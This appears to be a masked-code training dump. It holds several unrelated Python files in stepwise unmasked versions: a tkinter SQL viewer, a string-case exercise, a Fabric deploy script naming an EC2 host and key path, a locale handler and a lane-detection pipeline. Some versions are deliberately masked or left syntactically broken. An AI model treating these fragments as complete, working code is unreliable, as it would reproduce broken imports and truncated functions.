for i in range(len(table)):\n texte = texte + '\|' + str(table[i]) + (max - len(str(table[i]))) * ' ' + '\|' + '\\n+' + max * '-' + '+\\n'\n return texte\n\ndef affichage(texte, titre = \"Requêtes tables\"):\n \"\"\"\n prend en argument texte une chaîne de caractère et titre une chaine de caractère\n renvoie une fenêtre tkinter\n \"\"\"\n root = tkinter.Tk()\n root.title(str(titre))\n RWidth=root.winfo_screenwidth() - 100\n RHeight=root.winfo_screenheight() - 100\n root.geometry(\"%dx%d+50+0\"%(RWidth, RHeight))\n text=tkinter.Text(root, wrap = 'none')\n scroll_x=tkinter.Scrollbar(text.master, orient='horizontal', command = text.xview)\n scroll_x.config(command = text.xview)\n text.configure(xscrollcommand = scroll_x.set)\n scroll_x.pack(side = 'bottom', fill = 'x', anchor = 'w')\n scroll_y = tkinter.Scrollbar(text.master)\n scroll_y.config(command = text.yview)\n text.configure(yscrollcommand = scroll_y.set)\n scroll_y.pack(side = tkinter.RIGHT, fill = 'y')\n text.insert(\"1.0\", texte)\n text.pack(side = tkinter.LEFT, expand = True, fill = tkinter.BOTH)\n root.mainloop()\n\ndef fichier_txt_en_texte(fichier):\n \"\"\"\n prend en argument le chemin d'un fichier texte\n Renvoie le contenu du fichier texte sous forme de chaîne de caractère.\n \"\"\"\n with open(fichier, \"r\") as requete:\n return requete.read()\n\ndef chemin(nom, repertoire):\n \"\"\"\n Prend en argument le nom du fichier où est stocké la requête et le nom du répertoire dans lequel est stocké la requête.\n Renvoie le chemin de la requête.\n \"\"\"\n return repertoire + '/' + nom\n\ndef texte_en_liste(nom_requete, repertoire):\n requete = fichier_txt_en_texte(chemin(nom_requete, repertoire))\n return requete.split()\n\ndef liste_en_texte(liste):\n \"\"\"\n prend en argument une liste et un indice et renvoie la même liste mais l'élement d'indice 'n' est transformé en texte.\n \"\"\"\n texte = \"\"\n for i in range(len(liste)):\n texte = texte + str(liste[i]) + \" \"\n return texte\n \ndef separer_requete_et_question(nom, repertoire):\n \"\"\"\n prend en argument le numéro de la requête et renvoie la question et la requête sésparé.\n \"\"\"\n requete = texte_en_liste(nom, repertoire) #transforme la requête en tableau\n question = \"\"\n for i in range(len(requete)): #cherche le moment où la question s'arrête et sépare la question de la requête\n if requete[i] == \"?\":\n question = requete[0:i+1] #stock la question\n requete = requete[i+1:len(requete)] #stock la réponse\n break #stop la boucle quand la \"?\" est trouvé\n return [liste_en_texte(question),liste_en_texte(requete)]\n\ndef creer_dictionnaire_vide():\n \"\"\"\n Ne contient aucun argument et renvoie un dictionnaire vide.\n \"\"\"\n dico = {}\n return dico\n\ndef nom_element_du_repertoire(repertoire):\n \"\"\"\n prend en argument le nom d'un répertoire ranger dans le dossier projetsqlKilian.\n renvoie une liste dont chaque élément est le nom d'un des fichier du repertoir.\n \"\"\"\n path = \"C:\\\\Users\\\\Elève\\\\Desktop\\\\projet NSI\\\\projetsqlKilian\\\\projetsqlKilian\\\\\" + repertoire\n nom_requete = os.listdir(path) \n return nom_requete\n\ndef stocker_requete(dico, repertoire):\n \"\"\"\n prend en argument dico un dictionnaire vide et repertoire le nom du repertoir où sont sockés les requêtes.\n ne renvoie rien\n \"\"\"\n liste = nom_element_du_repertoire(repertoire)\n for i in range(len(liste)):\n requete = separer_requete_et_question(liste[i], repertoire)\n dico[i] = ['#' + str(i+1) + ') ' + requete[0], requete[1]]\n \n \ndef afficher(dico):\n \"\"\"\n prend en argument un dictionnaire et renvoie ce disctionnaire.\n \"\"\"\n return dico\n\na = creer_dictionnaire_vide()\nstocker_requete(a,'requête')\n#print(afficher(a))\nquestion(a)\n#print(nom_element_du_repertoire('requête'))\n#requete(a)\n#print(execute(1,a))\n#print(taille_plus_grande_reponse(execute(1,a)))", "step-ids": [ 8, 11, 13, 14, 21 ] }	[ 8, 11, 13, 14, 21 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> for char in string: if char.isupper(): upp_regist += 1 elif char.islower(): low_regist += 1 print('Some string:', string) if upp_regist > low_regist: print('Some edited string:', string.upper()) elif low_regist > upp_regist: print('Some edited string:', string.lower()) else: print('Some edited string:', string.swapcase()) print('Some string:', string) if string.istitle(): print('Some edited string: done. ' + string) else: print('Some edited string:', string.replace('Lorem', 'draft: ')) print('Some string:', string) if len(string) > 20: string = string[:20] print('Some edited string:', string) else: print('Some edited string:', string.ljust(20, '@')) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> string = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.' upp_regist = low_regist = title_regist = 0 for char in string: if char.isupper(): upp_regist += 1 elif char.islower(): low_regist += 1 print('Some string:', string) if upp_regist > low_regist: print('Some edited string:', string.upper()) elif low_regist > upp_regist: print('Some edited string:', string.lower()) else: print('Some edited string:', string.swapcase()) print('Some string:', string) if string.istitle(): print('Some edited string: done. ' + string) else: print('Some edited string:', string.replace('Lorem', 'draft: ')) print('Some string:', string) if len(string) > 20: string = string[:20] print('Some edited string:', string) else: print('Some edited string:', string.ljust(20, '@')) <\|reserved_special_token_1\|> """ 1. Если в строке больше символов в нижнем регистре - вывести все в нижнем, если больше в верхнем - вывести все в верхнем, если поровну - вывести в противоположных регистрах. 2. Если в строке каждое слово начинается с заглавной буквы, тогда добавить в начало строки 'done. '. Иначе заменить первые 5 элементов строки на 'draft: '. (можно использовать метод replace и/или конкатенацию строк + срезы) 3. Если длина строки больше 20, то обрезать лишние символы до 20. Иначе дополнить строку символами '@' до длины 20. (можно использовать метод ljust либо конкатенацию и дублирование (+ и *)) После выполнения кажого пункта выводить результат типа: 1. Исходная строка: "some string". Результат: "some edited string". (Использовать форматирование строк f либо метод format) """ string = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.' upp_regist = low_regist = title_regist = 0 for char in string: if char.isupper(): upp_regist += 1 elif char.islower(): low_regist += 1 print('Some string:', string) if upp_regist > low_regist: print('Some edited string:', string.upper()) elif low_regist > upp_regist: print('Some edited string:', string.lower()) else: print('Some edited string:', string.swapcase()) print('Some string:', string) if string.istitle(): print('Some edited string: done. ' + string) else: print('Some edited string:', string.replace('Lorem', 'draft: ')) print('Some string:', string) if len(string) > 20: string = string[:20] print('Some edited string:', string) else: print('Some edited string:', string.ljust(20, '@'))	flexible	{ "blob_id": "c7c405535b2ca656d4d5f18013e3e2fdef70efea", "index": 8088, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor char in string:\n if char.isupper():\n upp_regist += 1\n elif char.islower():\n low_regist += 1\nprint('Some string:', string)\nif upp_regist > low_regist:\n print('Some edited string:', string.upper())\nelif low_regist > upp_regist:\n print('Some edited string:', string.lower())\nelse:\n print('Some edited string:', string.swapcase())\nprint('Some string:', string)\nif string.istitle():\n print('Some edited string: done. ' + string)\nelse:\n print('Some edited string:', string.replace('Lorem', 'draft: '))\nprint('Some string:', string)\nif len(string) > 20:\n string = string[:20]\n print('Some edited string:', string)\nelse:\n print('Some edited string:', string.ljust(20, '@'))\n", "step-3": "<mask token>\nstring = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.'\nupp_regist = low_regist = title_regist = 0\nfor char in string:\n if char.isupper():\n upp_regist += 1\n elif char.islower():\n low_regist += 1\nprint('Some string:', string)\nif upp_regist > low_regist:\n print('Some edited string:', string.upper())\nelif low_regist > upp_regist:\n print('Some edited string:', string.lower())\nelse:\n print('Some edited string:', string.swapcase())\nprint('Some string:', string)\nif string.istitle():\n print('Some edited string: done. ' + string)\nelse:\n print('Some edited string:', string.replace('Lorem', 'draft: '))\nprint('Some string:', string)\nif len(string) > 20:\n string = string[:20]\n print('Some edited string:', string)\nelse:\n print('Some edited string:', string.ljust(20, '@'))\n", "step-4": "\"\"\"\n 1. Если в строке больше символов в нижнем регистре - вывести все в нижнем,\n если больше в верхнем - вывести все в верхнем,\n если поровну - вывести в противоположных регистрах.\n 2. Если в строке каждое слово начинается с заглавной буквы, тогда\n добавить в начало строки 'done. '.\n Иначе заменить первые 5 элементов строки на 'draft: '.\n (можно использовать метод replace и/или конкатенацию строк + срезы)\n 3. Если длина строки больше 20, то обрезать лишние символы до 20.\n Иначе дополнить строку символами '@' до длины 20.\n (можно использовать метод ljust либо конкатенацию и дублирование (+ и *))\n После выполнения кажого пункта выводить результат типа:\n 1. Исходная строка: \"some string\".\n Результат: \"some edited string\".\n (Использовать форматирование строк f либо метод format)\n\"\"\"\n\nstring = 'Lorem, Ipsum, Is, SImPlY, DuMMy, TEXT, Of, The, Printing, INDUSTRY.'\n\nupp_regist = low_regist = title_regist = 0\n\nfor char in string:\n if char.isupper():\n upp_regist += 1\n elif char.islower():\n low_regist += 1\n\nprint('Some string:', string)\nif upp_regist > low_regist:\n print('Some edited string:', string.upper())\nelif low_regist > upp_regist:\n print('Some edited string:', string.lower())\nelse:\n print('Some edited string:', string.swapcase())\n\nprint('Some string:', string)\nif string.istitle():\n print('Some edited string: done. ' + string)\nelse:\n print('Some edited string:', string.replace('Lorem', 'draft: '))\n\nprint('Some string:', string)\nif len(string) > 20:\n string = string[:20]\n print('Some edited string:', string)\nelse:\n print('Some edited string:', string.ljust(20, '@'))\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> def deploy(): print('deploying') pass <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def pack(): local('git checkout') local('git commit -a -s -m "Fabric Pack Commit"') def deploy(): print('deploying') pass <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> AWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' PROJECT_DIR = '/var/www/kamper' APP_DIR = '%s/app' % PROJECT_DIR <\|reserved_special_token_0\|> env.user = 'kamper' env.hosts = [AWS_EC2_01] env.key_filename = ( '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem' ) def pack(): local('git checkout') local('git commit -a -s -m "Fabric Pack Commit"') def deploy(): print('deploying') pass <\|reserved_special_token_1\|> from fabric.api import * AWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' PROJECT_DIR = '/var/www/kamper' APP_DIR = '%s/app' % PROJECT_DIR <\|reserved_special_token_0\|> env.user = 'kamper' env.hosts = [AWS_EC2_01] env.key_filename = ( '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem' ) def pack(): local('git checkout') local('git commit -a -s -m "Fabric Pack Commit"') def deploy(): print('deploying') pass <\|reserved_special_token_1\|> # fabric이 실행할 대상을 제어. from fabric.api import * AWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' # Running PROJECT_DIR = '/var/www/kamper' APP_DIR = '%s/app' % PROJECT_DIR """ # the user to use for the remote commands env.user = 'appuser' # the servers where the commands are executed env.hosts = ['server1.example.com', 'server2.example.com'] """ env.user = 'kamper' env.hosts = [AWS_EC2_01] env.key_filename = '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem' def pack(): # create a new source distribution as tarball local('git checkout') # local('git add *') local('git commit -a -s -m "Fabric Pack Commit"') # local('git push origin master', capture=False) def deploy(): print('deploying') pass # with settings(warn_only=True): # with cd(APP_DIR): # run('sudo ./deploy.sh')	flexible	{ "blob_id": "98db990f406cc6815480cca33011c8b0b2ad67c7", "index": 2343, "step-1": "<mask token>\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-2": "<mask token>\n\n\ndef pack():\n local('git checkout')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-3": "<mask token>\nAWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com'\nPROJECT_DIR = '/var/www/kamper'\nAPP_DIR = '%s/app' % PROJECT_DIR\n<mask token>\nenv.user = 'kamper'\nenv.hosts = [AWS_EC2_01]\nenv.key_filename = (\n '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem'\n )\n\n\ndef pack():\n local('git checkout')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-4": "from fabric.api import \nAWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com'\nPROJECT_DIR = '/var/www/kamper'\nAPP_DIR = '%s/app' % PROJECT_DIR\n<mask token>\nenv.user = 'kamper'\nenv.hosts = [AWS_EC2_01]\nenv.key_filename = (\n '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem'\n )\n\n\ndef pack():\n local('git checkout')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\ndef deploy():\n print('deploying')\n pass\n", "step-5": "# fabric이 실행할 대상을 제어.\n\nfrom fabric.api import \n\nAWS_EC2_01 = 'ec2-52-78-143-155.ap-northeast-2.compute.amazonaws.com' # Running\n\n\nPROJECT_DIR = '/var/www/kamper'\n\nAPP_DIR = '%s/app' % PROJECT_DIR\n\n\"\"\"\n\n# the user to use for the remote commands\nenv.user = 'appuser'\n\n# the servers where the commands are executed\nenv.hosts = ['server1.example.com', 'server2.example.com']\n\n\"\"\"\n\n\nenv.user = 'kamper'\nenv.hosts = [AWS_EC2_01]\nenv.key_filename = '/Users/Mac/Desktop/Genus/1.제품_서비스/KAMP/dev/flask_kamper_package/KAMPERKOREA.pem'\n\n\ndef pack():\n # create a new source distribution as tarball\n local('git checkout')\n # local('git add *')\n local('git commit -a -s -m \"Fabric Pack Commit\"')\n\n\n # local('git push origin master', capture=False)\n\n\ndef deploy():\n print('deploying')\n pass\n\n # with settings(warn_only=True):\n # with cd(APP_DIR):\n # run('sudo ./deploy.sh')\n\n", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
from mx.handlers import MainHandler # handler for changing app language class Locale(MainHandler): """ handles requests to change LOCALE or language for internationalization. """ def get(self): locale = self.request.get('locale') if not locale : locale = LOCALE locale = locale[:2].lower()+'_'+locale[-2:].upper() if self.switch_locale(locale): if self.local_user and self.local_user.locale != locale: u = LocalUser.by_id(self.local_user.key.id()) u.locale = locale u.put() self.write_json({'done':True}) else: self.write_json({'done':False}) # home page handler class MainPage(MainHandler): def get(self): self.render('home.html') def post(self): pw = self.request.get('pw')	normal	{ "blob_id": "bdcbb946dadf168149342c651ad03eaf4b748401", "index": 6803, "step-1": "<mask token>\n\n\nclass Locale(MainHandler):\n <mask token>\n <mask token>\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-2": "<mask token>\n\n\nclass Locale(MainHandler):\n <mask token>\n\n def get(self):\n locale = self.request.get('locale')\n if not locale:\n locale = LOCALE\n locale = locale[:2].lower() + '_' + locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done': True})\n else:\n self.write_json({'done': False})\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-3": "<mask token>\n\n\nclass Locale(MainHandler):\n \"\"\"\n handles requests to change LOCALE or language for internationalization.\n \"\"\"\n\n def get(self):\n locale = self.request.get('locale')\n if not locale:\n locale = LOCALE\n locale = locale[:2].lower() + '_' + locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done': True})\n else:\n self.write_json({'done': False})\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-4": "from mx.handlers import MainHandler\n\n\nclass Locale(MainHandler):\n \"\"\"\n handles requests to change LOCALE or language for internationalization.\n \"\"\"\n\n def get(self):\n locale = self.request.get('locale')\n if not locale:\n locale = LOCALE\n locale = locale[:2].lower() + '_' + locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done': True})\n else:\n self.write_json({'done': False})\n\n\nclass MainPage(MainHandler):\n\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n", "step-5": "\nfrom mx.handlers import MainHandler\n\n# handler for changing app language\nclass Locale(MainHandler):\n \"\"\"\n handles requests to change LOCALE or language for internationalization.\n \"\"\"\n def get(self):\n locale = self.request.get('locale')\n if not locale :\n locale = LOCALE\n locale = locale[:2].lower()+'_'+locale[-2:].upper()\n if self.switch_locale(locale):\n if self.local_user and self.local_user.locale != locale:\n u = LocalUser.by_id(self.local_user.key.id())\n u.locale = locale\n u.put()\n self.write_json({'done':True})\n else:\n self.write_json({'done':False})\n\n\n# home page handler\nclass MainPage(MainHandler):\n def get(self):\n self.render('home.html')\n\n def post(self):\n pw = self.request.get('pw')\n \n", "step-ids": [ 4, 5, 6, 7, 8 ] }	[ 4, 5, 6, 7, 8 ]
<\|reserved_special_token_0\|> def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) <\|reserved_special_token_0\|> def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) if __name__ == '__main__': """ INITIALIZATION """ im_dir_src = 'test_images' im_dir_dst = 'test_images_output' create_dir(im_dir_dst) im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src)) im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src)) video_dir_src = 'test_videos' video_dir_dst = 'test_videos_output' create_dir(video_dir_dst) video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4' video_files_src = get_full_paths_to_files(video_dir_src, video_files) video_files_dst = get_full_paths_to_files(video_dir_dst, video_files) params_1 = DEFAULT_PARAMS.copy() params_1['canny_lo'] = 50 params_1['canny_hi'] = 150 """ MEDIA GENERATION """ visualize_pipeline('pipeline.png') images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS) save_images(images_dst, im_files_dst) process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS) process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> COMP_GRAPH = lanespipeline.computational_graph DEFAULT_PARAMS = lanespipeline.parameters def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) if __name__ == '__main__': """ INITIALIZATION """ im_dir_src = 'test_images' im_dir_dst = 'test_images_output' create_dir(im_dir_dst) im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src)) im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src)) video_dir_src = 'test_videos' video_dir_dst = 'test_videos_output' create_dir(video_dir_dst) video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4' video_files_src = get_full_paths_to_files(video_dir_src, video_files) video_files_dst = get_full_paths_to_files(video_dir_dst, video_files) params_1 = DEFAULT_PARAMS.copy() params_1['canny_lo'] = 50 params_1['canny_hi'] = 150 """ MEDIA GENERATION """ visualize_pipeline('pipeline.png') images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS) save_images(images_dst, im_files_dst) process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS) process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1) <\|reserved_special_token_1\|> ''' Generate the output images and videos, including rendering of the pipeline ''' import os import matplotlib.image as mpimg import cv2 from moviepy.editor import VideoFileClip from networkx.drawing.nx_agraph import to_agraph import lanespipeline import lanefinder from compgraph import CompGraph, CompGraphRunner COMP_GRAPH = lanespipeline.computational_graph DEFAULT_PARAMS = lanespipeline.parameters def create_dir(directory): if not os.path.exists(directory): os.makedirs(directory) def get_full_paths_to_files(files_dir, filenames): return [os.path.join(files_dir, f) for f in filenames] def process_images(im_filenames, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) images = (mpimg.imread(fname) for fname in im_filenames) return (find_and_draw_lanes(im) for im in images) def save_images(images, destination_filenames): for fname, im in zip(destination_filenames, images): mpimg.imsave(fname, im) def process_and_save_video(video_fname_src, video_fname_dst, cg, params): finder, find_and_draw_lanes = lanefinder.create_objects(cg, params) video_src = VideoFileClip(video_fname_src) video_dst = video_src.fl_image(find_and_draw_lanes) video_dst.write_videofile(video_fname_dst, audio=False) def visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS): runner = CompGraphRunner(cg, frozen_tokens=params) ag = to_agraph(runner.token_manager.to_networkx()) ag.layout('dot') ag.draw(fname_dst) if __name__ == '__main__': ''' INITIALIZATION ''' im_dir_src = 'test_images' im_dir_dst = 'test_images_output' create_dir(im_dir_dst) im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src)) im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src)) video_dir_src = 'test_videos' video_dir_dst = 'test_videos_output' create_dir(video_dir_dst) video_files = ('solidWhiteRight.mp4', 'solidYellowLeft.mp4') video_files_src = get_full_paths_to_files(video_dir_src, video_files) video_files_dst = get_full_paths_to_files(video_dir_dst, video_files) params_1 = DEFAULT_PARAMS.copy() params_1['canny_lo'] = 50 params_1['canny_hi'] = 150 ''' MEDIA GENERATION ''' visualize_pipeline('pipeline.png') images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS) save_images(images_dst, im_files_dst) process_and_save_video(video_files_src[0], video_files_dst[0], COMP_GRAPH, DEFAULT_PARAMS) process_and_save_video(video_files_src[1], video_files_dst[1], COMP_GRAPH, params_1)	flexible	{ "blob_id": "456d79a69c170a59af742648f16e0171cd5a2412", "index": 1412, "step-1": "<mask token>\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\n<mask token>\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n video_src = VideoFileClip(video_fname_src)\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return [os.path.join(files_dir, f) for f in filenames]\n\n\ndef process_images(im_filenames, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n images = (mpimg.imread(fname) for fname in im_filenames)\n return (find_and_draw_lanes(im) for im in images)\n\n\ndef save_images(images, destination_filenames):\n for fname, im in zip(destination_filenames, images):\n mpimg.imsave(fname, im)\n\n\ndef process_and_save_video(video_fname_src, video_fname_dst, cg, params):\n finder, find_and_draw_lanes = lanefinder.create_objects(cg, params)\n video_src = VideoFileClip(video_fname_src)\n video_dst = video_src.fl_image(find_and_draw_lanes)\n video_dst.write_videofile(video_fname_dst, audio=False)\n\n\ndef visualize_pipeline(fname_dst, cg=COMP_GRAPH, params=DEFAULT_PARAMS):\n runner = CompGraphRunner(cg, frozen_tokens=params)\n ag = to_agraph(runner.token_manager.to_networkx())\n ag.layout('dot')\n ag.draw(fname_dst)\n\n\nif __name__ == '__main__':\n \"\"\" INITIALIZATION \"\"\"\n im_dir_src = 'test_images'\n im_dir_dst = 'test_images_output'\n create_dir(im_dir_dst)\n im_files_src = get_full_paths_to_files(im_dir_src, os.listdir(im_dir_src))\n im_files_dst = get_full_paths_to_files(im_dir_dst, os.listdir(im_dir_src))\n video_dir_src = 'test_videos'\n video_dir_dst = 'test_videos_output'\n create_dir(video_dir_dst)\n video_files = 'solidWhiteRight.mp4', 'solidYellowLeft.mp4'\n video_files_src = get_full_paths_to_files(video_dir_src, video_files)\n video_files_dst = get_full_paths_to_files(video_dir_dst, video_files)\n params_1 = DEFAULT_PARAMS.copy()\n params_1['canny_lo'] = 50\n params_1['canny_hi'] = 150\n \"\"\" MEDIA GENERATION \"\"\"\n visualize_pipeline('pipeline.png')\n images_dst = process_images(im_files_src, COMP_GRAPH, DEFAULT_PARAMS)\n save_images(images_dst, im_files_dst)\n process_and_save_video(video_files_src[0], video_files_dst[0],\n COMP_GRAPH, DEFAULT_PARAMS)\n process_and_save_video(video_files_src[1], video_files_dst[1],\n COMP_GRAPH, params_1)\n", "step-4": "<mask token>\nCOMP_GRAPH = lanespipeline.computational_graph\nDEFAULT_PARAMS = lanespipeline.parameters\n\n\ndef create_dir(directory):\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n\ndef get_full_paths_to_files(files_dir, filenames):\n return 